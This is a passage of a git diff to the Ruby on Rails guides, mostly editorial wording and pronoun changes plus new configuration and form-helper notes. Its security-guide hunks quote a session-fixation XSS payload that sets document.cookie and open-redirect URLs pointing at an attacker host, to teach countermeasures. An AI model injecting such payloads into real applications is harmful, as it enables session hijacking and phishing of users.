+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index cbd1ac9bdf..efa826e8df 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object.
```ruby
class Account < ActiveRecord::Base
validates :subdomain, exclusion: { in: %w(www us ca jp),
- message: "Subdomain %{value} is reserved." }
+ message: "%{value} is reserved." }
end
```
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 452ddf01eb..a83aee5d43 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -624,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
#### Module Attributes
-The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
For example, the dependencies mechanism uses them:
@@ -735,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y]
X::Y.local_constants # => [:Y1, :X1]
```
-The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+The names are returned as symbols.
NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
@@ -888,7 +888,7 @@ class User < ActiveRecord::Base
end
```
-With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
```ruby
class User < ActiveRecord::Base
@@ -1119,7 +1119,7 @@ end
A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
-NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2.
### Subclasses & Descendants
@@ -2285,8 +2285,6 @@ The defaults for these options can be localized, their keys are:
| `:words_connector` | `support.array.words_connector` |
| `:last_word_connector` | `support.array.last_word_connector` |
-Options `:connector` and `:skip_last_comma` are deprecated.
-
NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
#### `to_formatted_s`
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 98ead9570f..ccb51ce73c 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -42,6 +42,14 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+When using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
English
-------
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index c0482f6106..9867d2dc3f 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -864,8 +864,12 @@ end
Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
##### `:dependent`
+If you set the `:dependent` option to:
-If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects.
+* `:destroy`, when the object is destroyed, `destroy` will be called on its
+associated objects.
+* `:delete`, when the object is destroyed, all its associated objects will be
+deleted directly from the database without calling their `destroy` method.
WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index 8ac34c9716..59c2594422 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
@@ -129,8 +132,6 @@ numbers. New applications filter out passwords by adding the following `config.f
* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
-* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
-
### Configuring Assets
* `config.assets.enabled` a flag that controls whether the asset
@@ -329,6 +330,18 @@ The schema dumper adds one additional configuration option:
* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
@@ -775,7 +788,7 @@ error similar to given below will be thrown.
ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
```
-If you get the above error, you might want to increase the size of connection
+If you get the above error, you might want to increase the size of connection
pool by incrementing the `pool` option in `database.yml`
NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index a6956eb009..814237ba22 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -55,7 +55,7 @@ can expect it to be marked "invalid" as soon as it's reviewed.
Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
Generally, a feature is anything that adds new behavior, while a bug is
-anything that fixes already existing behavior that is mis-behaving. Sometimes,
+anything that fixes already existing behavior that is misbehaving. Sometimes,
the core team will have to make a judgement call. That said, the distinction
generally just affects which release your patch will get in to; we love feature
submissions! They just won't get backported to maintenance branches.
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index 1bf9ff95e1..ae47744e31 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -165,6 +165,11 @@
work_in_progress: true
description: This guide helps in upgrading applications to latest Ruby on Rails versions.
-
+ name: Ruby on Rails 4.1 Release Notes
+ url: 4_1_release_notes.html
+ work_in_progress: true
+ description: Release notes for Rails 4.1.
+ -
name: Ruby on Rails 4.0 Release Notes
url: 4_0_release_notes.html
description: Release notes for Rails 4.0.
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 4b6d8a93f0..e8279b9c0c 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -154,7 +154,10 @@ make it easier for users to click the inputs.
### Other Helpers of Interest
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
```erb
<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
@@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
```
Output:
@@ -190,11 +195,20 @@ Output:
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
```
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are
+[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/),
+which provide a simple way to add functionality based on the presence of
+detected HTML5 features.
TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
@@ -845,7 +859,7 @@ end
This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
-### Building the Form
+### Nested Forms
The following form allows a user to create a `Person` and its associated addresses.
@@ -868,16 +882,18 @@ The following form allows a user to create a `Person` and its associated address
```
-When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
```ruby
def new
@person = Person.new
- 3.times { @person.addresses.build}
+ 2.times { @person.addresses.build}
end
```
-`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example when creating a user with
+2 addresses, the submitted parameters would look like:
```ruby
{
@@ -899,7 +915,7 @@ end
The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
### The Controller
@@ -930,7 +946,9 @@ class Person < ActiveRecord::Base
end
```
-If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
```erb
<%= form_for @person do |f| %>
@@ -938,7 +956,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
- <%= check_box :_destroy%>
+ <%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 2f322d15da..b57441b1c3 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -1268,6 +1268,7 @@ together.
```html+erb
<h1>Listing Posts</h1>
+<%= link_to 'New post', new_post_path %>
<table>
<tr>
<th>Title</th>
diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md
deleted file mode 100644
index 8c4fad18aa..0000000000
--- a/guides/source/kindle/KINDLE.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# Rails Guides on the Kindle
-
-
-## Synopsis
-
- 1. Obtain `kindlegen` from the link below and put the binary in your path
- 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
- 3. Copy `output/kindle/rails_guides.mobi` to your Kindle
-
-## Resources
-
- * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
- * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0)
- * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf)
- * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621)
-
-## TODO
-
-### Post release
-
- * Integrate generated Kindle document into published HTML guides
- * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
- * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
- * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
- * `.epub` generation.
-
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index c6a3449ace..f4dab57aa5 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -703,7 +703,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th
#### Linking to Feeds with the `auto_discovery_link_tag`
-The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
```erb
<%= auto_discovery_link_tag(:rss, {action: "feed"},
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index d0aa2e55a2..8587bd48b2 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don't have to include every cool new feature under the sun
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
After reading this guide, you will know:
@@ -48,7 +48,7 @@ See usage and options by asking for help:
$ rails plugin --help
```
-Testing your newly generated plugin
+Testing Your Newly Generated Plugin
-----------------------------------
You can navigate to the directory that contains the plugin, run the `bundle install` command
@@ -92,7 +92,7 @@ Run `rake` to run the test. This test should fail because we haven't implemented
Great - now you are ready to start development.
-Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`:
+In `lib/yaffle.rb`, add `require "yaffle/core_ext"`:
```ruby
# yaffle/lib/yaffle.rb
@@ -219,7 +219,7 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string
```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
+and migrating the database. First, run:
```bash
$ cd test/dummy
@@ -245,7 +245,7 @@ end
```
-We will also add code to define the acts_as_yaffle method.
+We will also add code to define the `acts_as_yaffle` method.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -286,7 +286,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun
```
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -310,7 +310,7 @@ end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```
-When you run `rake` you should see the tests all pass:
+When you run `rake`, you should see the tests all pass:
```bash
5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
@@ -390,7 +390,11 @@ Run `rake` one final time and you should see:
7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
```
-NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
Generators
----------
@@ -398,7 +402,7 @@ Generators
Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
the creation of generators can be found in the [Generators Guide](generators.html)
-Publishing your Gem
+Publishing Your Gem
-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
@@ -411,12 +415,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
After running `bundle install`, your gem functionality will be available to the application.
When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
-For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
RDoc Documentation
------------------
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index b42c8fb81b..9c92cf3aea 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -144,7 +144,7 @@ use Rack::ETag
run MyApp::Application.routes
```
-Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
### Configuring Middleware Stack
diff --git a/guides/source/security.md b/guides/source/security.md
index 595cf7c62c..c698959a2c 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -70,7 +70,7 @@ Hence, the cookie serves as temporary authentication for the web application. An
* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
@@ -111,9 +111,9 @@ It works like this:
* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
+* Their new, lower credit will be stored in the session.
+* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
+* The user has their credit back.
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
@@ -121,14 +121,14 @@ The best _solution against it is not to store this kind of data in a session, bu
### Session Fixation
-NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
![Session fixation](images/session_fixation.png)
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
+* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.
* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
* As the new trap session is unused, the web application will require the user to authenticate.
@@ -249,7 +249,7 @@ end
The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
-Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
Redirection and Files
---------------------
@@ -258,7 +258,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
### Redirection
-WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
@@ -268,7 +268,7 @@ def legacy
end
```
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL:
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -354,9 +354,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend
**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
@@ -379,7 +379,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
```
http://localhost:3006/user/activate
@@ -398,7 +398,7 @@ If the parameter was nil, the resulting SQL query will be
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
+And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
### Brute-Forcing Accounts
@@ -418,24 +418,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
#### Passwords
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
#### E-Mail
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
+However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
#### Other
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
### CAPTCHAs
-INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
